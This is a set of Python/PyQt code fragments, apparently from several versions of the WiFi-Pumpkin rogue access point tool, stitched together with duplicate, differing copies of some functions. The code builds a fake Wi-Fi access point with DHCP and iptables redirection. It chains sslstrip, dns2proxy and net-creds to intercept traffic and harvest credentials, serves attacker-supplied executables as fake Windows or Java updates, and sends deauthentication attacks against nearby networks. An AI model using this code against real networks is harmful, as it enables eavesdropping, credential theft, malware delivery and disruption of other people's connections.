def scan_diveces_airodump(self): dirpath = "Settings/Dump" if not path.isdir(dirpath): makedirs(dirpath) self.data = {"Bssid": [], "Essid": [], "Channel": []} exit_air = airdump_start(self.interface) self.fix = False if exit_air == None: self.cap = get_network_scan() if self.cap != None: for i in self.cap: i = i.split("||") if Refactor.check_is_mac(i[2]): Headers = [] self.data["Channel"].append(i[0]) self.data["Essid"].append(i[1]) self.data["Bssid"].append(i[2]) for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) self.cap = []
def CoreSettings(self): self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() self.ConfigTwin['PortRedirect'] = self.FSettings.Settings.get_setting('settings','redirect_port') self.SettingsAP = { 'interface': [ 'ifconfig %s up'%(self.ConfigTwin['AP_iface']), 'ifconfig %s %s netmask %s'%(self.ConfigTwin['AP_iface'],self.DHCP['router'],self.DHCP['netmask']), 'ifconfig %s mtu 1400'%(self.ConfigTwin['AP_iface']), 'route add -net %s netmask %s gw %s'%(self.DHCP['subnet'], self.DHCP['netmask'],self.DHCP['router']) ], 'kill': [ 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'ifconfig %s 0'%(self.ConfigTwin['AP_iface']), 'killall dhpcd', 'killall dnsmasq' ], 'hostapd': [ 'interface={}\n'.format(str(self.selectCard.currentText())), 'ssid={}\n'.format(str(self.EditApName.text())), 'channel={}\n'.format(str(self.EditChannel.text())), ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']), 'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']), 'subnet %s netmask %s {\n'%(self.DHCP['subnet'],self.DHCP['netmask']), 'option routers {};\n'.format(self.DHCP['router']), 'option subnet-mask {};\n'.format(self.DHCP['netmask']), 'option broadcast-address {};\n'.format(self.DHCP['broadcast']), 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), 'option domain-name-servers {};\n'.format(self.DHCP['router']), 'range {};\n'.format(self.DHCP['range'].replace('/',' ')), '}', ], 'dnsmasq': [ 'interface=%s\n'%(self.ConfigTwin['AP_iface']), 'dhcp-range=10.0.0.1,10.0.0.50,12h\n', 'dhcp-option=3, 10.0.0.1\n', 'dhcp-option=6, 10.0.0.1\n', ] } Refactor.set_ip_forward(1) for i in self.SettingsAP['kill']: Popen(i.split(), stdout=PIPE,shell=False,stderr=PIPE) for i in self.SettingsAP['interface']: Popen(i.split(), stdout=PIPE,shell=False,stderr=PIPE) dhcp_select = self.FSettings.Settings.get_setting('accesspoint','dhcp_server') if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf','w') as dhcp: for i in self.SettingsAP['dhcp-server']:dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') if not path.isdir('/etc/dhcp/'):mkdir('/etc/dhcp') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Core/config/dnsmasq.conf','w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface ','Network interface is not found') if not type(self.SoftDependencies()) is bool: return self.interfacesLink = Refactor.get_interfaces() if len(self.EditGateway.text()) == 0 or self.interfacesLink['activated'] == None: return QMessageBox.warning(self,'Internet Connection','No internet connection not found, ' 'sorry WiFi-Pumpkin tool requires an internet connection to mount MITM attack. ' 'check your connection and try again') if str(self.selectCard.currentText()) == self.interfacesLink['activated']: iwconfig = Popen(['iwconfig'], stdout=PIPE,shell=False,stderr=PIPE) for line in iwconfig.stdout.readlines(): if str(self.selectCard.currentText()) in line: return QMessageBox.warning(self,'Wireless Interface', 'An connection with {} has been detected ' ' : Device or resource busy\n{}'.format( str(self.selectCard.currentText()),line)) import platform if platform.dist()[0] == 'Kali': if str(self.interfacesLink['activated']).startswith('wl'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') dh, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],str(self.EditGateway.text()) if dh[:len(dh)-len(dh.split('.').pop())] == gateway[:len(gateway)-len(gateway.split('.').pop())]: return QMessageBox.warning(self,'DHCP Server Settings', 'The DHCP server check if range ip class is same.' 'it works, but not share internet connection in some case.\n' 'for fix this, You need change on tab (Pumpkin-Settings -> Class Ranges)' 'now you have choose the Class range different of your network.') self.btn_start_attack.setDisabled(True) popen('ulimit -n 64000') self.APactived = self.FSettings.Settings.get_setting('accesspoint','using') if self.APactived == 'hostapd': self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) if str(self.interfacesLink['activated']).startswith('eth') or \ str(self.interfacesLink['activated']).startswith('enp'): try: check_output(['nmcli','radio','wifi',"off"]) except Exception: try: check_output(['nmcli','nm','wifi',"off"]) except Exception as e: return QMessageBox.warning(self,'Error nmcli',e) finally: call(['rfkill', 'unblock' ,'wifi']) elif str(self.interfacesLink['activated']).startswith('wl'): if not Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=False): return QMessageBox.warning(self,'Network Manager', 'Not found file NetworkManager.conf in folder /etc/NetworkManager/') leases = '/var/lib/dhcp/dhcpd.leases' if not path.exists(leases[:-12]): mkdir(leases[:-12]) if not path.isfile(leases): with open(leases,'wb') as leaconf: leaconf.close() uid = getpwnam('root').pw_uid gid = getgrnam('root').gr_gid chown(leases, uid, gid) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) # thread dhcp popen('ifconfig {} up'.format(str(self.selectCard.currentText()))) selected_dhcp = self.FSettings.Settings.get_setting('accesspoint','dhcp_server') if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','/var/lib/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() self.Started(True) self.ProxyPluginsTAB.GroupSettings.setEnabled(False) self.FSettings.Settings.set_setting('accesspoint','statusAP',True) if self.PopUpPlugins.check_sslstrip.isChecked() or not self.PopUpPlugins.check_dns2proy.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) # load ProxyPLugins self.plugin_classes = Plugin.PluginProxy.__subclasses__() self.plugins = {} for p in self.plugin_classes: self.plugins[p._name] = p() # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked() and not self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sslstrip(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) elif not self.PopUpPlugins.check_sslstrip.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) elif self.PopUpPlugins.check_sergioProxy.isChecked() and self.PopUpPlugins.check_sergioProxy.isChecked(): self.Threadsslstrip = Thread_sergioProxy(self.ConfigTwin['PortRedirect'], self.plugins,self.ProxyPluginsTAB._PluginsToLoader) self.Threadsslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(self.Threadsslstrip) if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', str(self.selectCard.currentText())]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules) self.PumpSettingsTAB.GroupArea.setEnabled(False) self.progress.change_color('#FFA500') for thread in self.Apthreads['RougeAP']: thread.start() self.progress.setText(thread.getNameThread()) self.progress.update_bar_simple(20) QThread.sleep(3) self.progress.setValue(100) self.progress.change_color('grey') self.progress.setText('') if self.FSettings.Settings.get_setting('dockarea','advanced',format=bool): self.PumpSettingsTAB.doCheckAdvanced() if hasattr(self,'dockAreaList'): filelist = [ f for f in listdir('Logs/AccessPoint/.') if f.endswith('.log.offset') ] for f in filelist: system('rm Logs/AccessPoint/{}'.format(f)) for dock in self.dockAreaList.keys(): self.dockAreaList[dock].RunThread()
def CoreSettings(self): self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() self.ConfigTwin['PortRedirect'] = self.FSettings.xmlSettings( 'redirect', 'port', None, False) self.SettingsAP = { 'interface': [ 'ifconfig %s up' % (self.ConfigTwin['AP_iface']), 'ifconfig %s %s netmask %s' % (self.ConfigTwin['AP_iface'], self.DHCP['router'], self.DHCP['netmask']), 'ifconfig %s mtu 1400' % (self.ConfigTwin['AP_iface']), 'route add -net %s netmask %s gw %s' % (self.DHCP['subnet'], self.DHCP['netmask'], self.DHCP['router']) ], 'kill': [ 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'ifconfig %s 0' % (self.ConfigTwin['AP_iface']), 'killall dhpcd', 'killall dnsmasq' ], 'hostapd': [ 'interface={}\n'.format(str(self.selectCard.currentText())), 'ssid={}\n'.format(str(self.EditApName.text())), 'channel={}\n'.format(str(self.EditChannel.text())), ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']), 'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']), 'subnet %s netmask %s {\n' % (self.DHCP['subnet'], self.DHCP['netmask']), 'option routers {};\n'.format(self.DHCP['router']), 'option subnet-mask {};\n'.format(self.DHCP['netmask']), 'option broadcast-address {};\n'.format( self.DHCP['broadcast']), 'option domain-name \"%s\";\n' % (str(self.EditApName.text())), 'option domain-name-servers {};\n'.format(self.DHCP['router']), 'range {};\n'.format(self.DHCP['range']), '}', ], 'dnsmasq': [ 'interface=%s\n' % (self.ConfigTwin['AP_iface']), 'dhcp-range=10.0.0.1,10.0.0.50,12h\n', 'dhcp-option=3, 10.0.0.1\n', 'dhcp-option=6, 10.0.0.1\n', ] } Refactor.set_ip_forward(1) for i in self.SettingsAP['kill']: Popen(i.split(), stdout=PIPE, shell=False, stderr=PIPE) for i in self.SettingsAP['interface']: Popen(i.split(), stdout=PIPE, shell=False, stderr=PIPE) dhcp_select = self.FSettings.xmlSettings('dhcp', 'dhcp_server', None, False) if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf', 'w') as dhcp: for i in self.SettingsAP['dhcp-server']: dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') if not path.isdir('/etc/dhcp/'): mkdir('/etc/dhcp') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Core/config/dnsmasq.conf', 'w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
class frm_WinSoftUp(QWidget): def __init__(self, parent=None): super(frm_WinSoftUp, self).__init__(parent) self.Main = QVBoxLayout() self.control = None self.path_file = None self.owd = getcwd() self.GUI() def GUI(self): self.form = QFormLayout(self) self.grid = QGridLayout(self) self.grid1 = QGridLayout(self) self.path = QLineEdit(self) self.logBox = QListWidget(self) self.status = QStatusBar(self) self.status.setFixedHeight(15) self.path.setFixedHeight(28) self.path.setFixedWidth(400) #combobox self.cb_interface = QComboBox(self) self.refresh_interface(self.cb_interface) #label self.lb_interface = QLabel("Network Adapter:") # buttons self.btn_open = QPushButton("...") self.btn_stop = QPushButton("Stop", self) self.btn_reload = QPushButton("refresh", self) self.btn_start_server = QPushButton("Start Server", self) # size self.btn_open.setMaximumWidth(90) self.btn_stop.setFixedHeight(50) self.btn_start_server.setFixedHeight(50) #icons self.btn_open.setIcon(QIcon("rsc/open.png")) self.btn_stop.setIcon(QIcon("rsc/Stop.png")) self.btn_reload.setIcon(QIcon("rsc/refresh.png")) self.btn_start_server.setIcon(QIcon("rsc/server.png")) # connect buttons self.btn_open.clicked.connect(self.getpath) self.btn_reload.clicked.connect(self.inter_get) self.btn_start_server.clicked.connect(self.server_start) self.btn_stop.clicked.connect(self.stop_attack) # radionButton self.rb_windows = QRadioButton("Windows Update", self) self.rb_windows.setIcon(QIcon("rsc/winUp.png")) self.rb_adobe = QRadioButton("Adobe Update", self) self.rb_adobe.setIcon(QIcon("rsc/adobe.png")) self.rb_java = QRadioButton("Java Update", self) self.rb_java.setIcon(QIcon("rsc/java.png")) self.rb_adobe.setEnabled(False) self.grid.addWidget(self.rb_windows, 0, 1) self.grid.addWidget(self.rb_adobe, 0, 2) self.grid.addWidget(self.rb_java, 0, 3) # check interface self.grid.addWidget(self.lb_interface, 1, 1) self.grid.addWidget(self.cb_interface, 1, 2) self.grid.addWidget(self.btn_reload, 1, 3) #grid 2 self.grid1.addWidget(self.btn_start_server, 0, 2) self.grid1.addWidget(self.btn_stop, 0, 4) #form add layout self.form.addRow(self.path, self.btn_open) self.form.addRow(self.grid) self.form.addRow(self.grid1) self.form.addRow(self.logBox) self.form.addRow(self.status) self.Main.addLayout(self.form) self.setLayout(self.Main) def removefiles(self): pathList = [ 'Templates/Update/Windows_Update/index.html', 'Templates/Update/Windows_Update/windows-update.exe', 'Templates/Update/Java_Update/index.html', 'Templates/Update/Java_Update/java-update.exe' ] for i in pathList: if path.isfile(i): remove(i) def stop_attack(self): for i in threadloading['server']: i.stop() threadloading['server'] = [] self.removefiles() self.logBox.clear() self.status.showMessage('') def inter_get(self): self.refresh_interface(self.cb_interface) def refresh_interface(self, cb): cb.clear() n = Refactor.get_interfaces()['all'] for i, j in enumerate(n): if n[i] != '': cb.addItem(n[i]) def logPhising(self, log): self.logBox.addItem(log) def SettingsPage(self, pathPage, directory, filename, info): try: if path.isfile(directory + filename): remove(directory + filename) copyfile(self.path_file, directory + filename) except OSError, e: return QMessageBox.warning(self, 'error', e) file_html = open(pathPage, 'r').read() if info: settings_html = file_html.replace( 'KBlenfile', str(Refactor.getSize(self.path_file)) + 'KB') else: settings_html = file_html.replace( '{{Date}}', str(date.today().strftime("%A %d. %B %Y"))) if path.isfile(directory + 'index.html'): remove(directory + 'index.html') confFile = open(directory + 'index.html', 'w') confFile.write(settings_html) confFile.close() ip = Refactor.get_Ipaddr(self.cb_interface.currentText()) if ip == None: return QMessageBox.warning( self, 'Ip not found', 'the ipaddress not found on network adapter seleted.') self.threadServer(directory, ip)
def discoveryIface(self): iface = str(self.ComboIface.currentText()) ip = Refactor.get_Ipaddr(iface) self.txt_IP.setText(ip)
def refrash_interface(self): self.selectCard.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('wlan', j): self.selectCard.addItem(n[i])
def CoreSettings(self): range_dhcp = self.FSettings.xmlSettings('Iprange', 'range',None,False) self.ConfigTwin['PortRedirect'] = self.FSettings.xmlSettings('redirect', 'port',None,False) self.SettingsAP = { 'interface': [ 'ifconfig %s up'%(self.ConfigTwin['AP_iface']), 'ifconfig %s 10.0.0.1 netmask 255.255.255.0'%(self.ConfigTwin['AP_iface']), 'ifconfig %s mtu 1400'%(self.ConfigTwin['AP_iface']), 'route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1' ], 'kill': [ 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'ifconfig %s 0'%(self.ConfigTwin['AP_iface']), 'killall dhpcd', 'killall dnsmasq' ], 'hostapd': [ 'interface={}\n'.format(str(self.selectCard.currentText())), 'ssid={}\n'.format(str(self.EditApName.text())), 'channel={}\n'.format(str(self.EditChannel.text())), ], 'dhcp-server': [ 'authoritative;\n', 'default-lease-time 600;\n', 'max-lease-time 7200;\n', 'subnet 10.0.0.0 netmask 255.255.255.0 {\n', 'option routers 10.0.0.1;\n', 'option subnet-mask 255.255.255.0;\n', 'option domain-name \"%s\";\n'%(str(self.EditApName.text())), 'option domain-name-servers 10.0.0.1;\n', 'range %s;\n'% range_dhcp, '}', ], 'dnsmasq': [ 'interface=%s\n'%(self.ConfigTwin['AP_iface']), 'dhcp-range=10.0.0.1,10.0.0.50,12h\n', 'dhcp-option=3, 10.0.0.1\n', 'dhcp-option=6, 10.0.0.1\n', ] } Refactor.set_ip_forward(1) for i in self.SettingsAP['kill']:popen(i) for i in self.SettingsAP['interface']:popen(i) dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select != 'dnsmasq': with open('Settings/dhcpd.conf','w') as dhcp: for i in self.SettingsAP['dhcp-server']:dhcp.write(i) dhcp.close() if path.isfile('/etc/dhcp/dhcpd.conf'): system('rm /etc/dhcp/dhcpd.conf') if not path.isdir('/etc/dhcp/'):mkdir('/etc/dhcp') move('Settings/dhcpd.conf', '/etc/dhcp/') else: with open('Core/config/dnsmasq.conf','w') as dhcp: for i in self.SettingsAP['dnsmasq']: dhcp.write(i) dhcp.close()
def StartApFake(self): if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface','Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self,'Error Gateway','gateway not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self,'Error dhcp','dnsmasq not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') self.btn_start_attack.setDisabled(True) self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds','interface', str(self.selectCard.currentText()),False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli','radio','wifi',"off"]) except CalledProcessError: try: check_output(['nmcli','nm','wifi',"off"]) except CalledProcessError as e: return QMessageBox.warning(self,'Error nmcli',e) call(['rfkill', 'unblock' ,'wlan']) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface', rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules)
def window_qt(self): self.mForm = QFormLayout() self.statusbar = QStatusBar() system = QLabel("Deauthentication::") self.statusbar.addWidget(system) self.Controlador = QLabel("") self.AttackStatus(False) self.tables = QTableWidget(5,3) self.tables.setFixedWidth(350) self.tables.setRowCount(100) self.tables.setFixedHeight(250) self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) self.tables.clicked.connect(self.select_target) self.tables.resizeColumnsToContents() self.tables.resizeRowsToContents() self.tables.horizontalHeader().resizeSection(1,120) self.tables.horizontalHeader().resizeSection(0,60) self.tables.horizontalHeader().resizeSection(2,158) self.tables.verticalHeader().setVisible(False) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) self.tables.setHorizontalHeaderLabels(Headers) self.linetarget = QLineEdit(self) self.input_client = QLineEdit(self) self.input_client.setText("ff:ff:ff:ff:ff:ff") self.btn_enviar = QPushButton("Send Attack", self) self.btn_enviar.clicked.connect(self.attack_deauth) self.btn_scan_start = QPushButton("Start scan", self) self.btn_scan_start.clicked.connect(self.SettingsScan) self.btn_stop = QPushButton("Stop Attack ", self) self.btn_stop.clicked.connect(self.kill_thread) self.btn_scan_stop = QPushButton('Stop scan',self) self.btn_scan_stop.clicked.connect(self.kill_scanAP) self.btn_enviar.setFixedWidth(170) self.btn_stop.setFixedWidth(170) self.btn_scan_stop.setEnabled(False) self.btn_stop.setEnabled(False) #icons self.btn_scan_start.setIcon(QIcon("rsc/network.png")) self.btn_scan_stop.setIcon(QIcon('rsc/network_off.png')) self.btn_enviar.setIcon(QIcon("rsc/start.png")) self.btn_stop.setIcon(QIcon("rsc/Stop.png")) self.get_placa = QComboBox(self) n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search("wlan", j): self.get_placa.addItem(n[i]) #grid options self.Grid = QGridLayout() self.options_scan = self.xmlcheck.xmlSettings("scanner_AP", "select", None, False) self.Grid.addWidget(self.get_placa,0,1) self.Grid.addWidget(self.btn_scan_start,0,2) self.Grid.addWidget(self.btn_scan_stop,0,3) self.Grid.addWidget(QLabel("bssid:"),1,0) self.Grid.addWidget(QLabel("{0:>20}".format('Client:')),1,2) self.Grid.addWidget(self.linetarget,1,1) self.Grid.addWidget(self.input_client,1,3) self.form0 = QGridLayout() self.form0.addWidget(self.tables,0,0) self.mForm.addRow(self.btn_enviar, self.btn_stop) self.mForm.addRow(self.statusbar) self.Main.addLayout(self.form0) self.Main.addLayout(self.Grid) self.Main.addLayout(self.mForm) self.setLayout(self.Main)